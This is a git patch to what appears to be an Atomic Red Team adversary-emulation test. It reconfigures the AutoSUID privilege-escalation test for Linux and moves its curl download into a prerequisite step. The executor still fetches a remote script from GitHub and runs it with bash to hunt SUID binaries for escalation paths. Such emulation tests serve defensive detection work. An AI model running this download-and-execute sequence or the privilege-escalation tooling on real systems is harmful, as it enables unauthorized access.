From dfa63a2977dce7b8723daa4dd7aac2ec456068d7 Mon Sep 17 00:00:00 2001 From: patel-bhavin Date: Fri, 4 Feb 2022 12:55:31 -0800 Subject: [PATCH] updates to rpre reg --- atomics/T1059.004/T1059.004.yaml | 14 ++++++++++---- 1 file changed, 10 insertions(+), 4 deletions(-) diff --git a/atomics/T1059.004/T1059.004.yaml b/atomics/T1059.004/T1059.004.yaml index 726aabf4..d25a69e5 100644 --- a/atomics/T1059.004/T1059.004.yaml +++ b/atomics/T1059.004/T1059.004.yaml @@ -43,7 +43,7 @@ atomic_tests: description: | AutoSUID application is the Open-Source project, the main idea of which is to automate harvesting the SUID executable files and to find a way for further escalating the privileges. supported_platforms: - - macos + - linux input_arguments: autosuid: description: Path to the autosuid shell script @@ -53,10 +53,16 @@ atomic_tests: description: Path to download autosuid shell script type: Url default: https://raw.githubusercontent.com/IvanGlinkin/AutoSUID/main/AutoSUID.sh + dependency_executor_name: bash + dependencies: + - description: | + AutoSUID must exist on disk at specified location (#{autosuid}) + prereq_command: | + if [ -f #{autosuid} ]; then exit 0; else exit 1; fi; + get_prereq_command: | + curl #{autosuid_url} --output #{autosuid} executor: command: | - curl #{autosuid_url} --output #{autosuid} chmod +x #{autosuid} bash #{autosuid} - name: bash - + name: sh \ No newline at end of file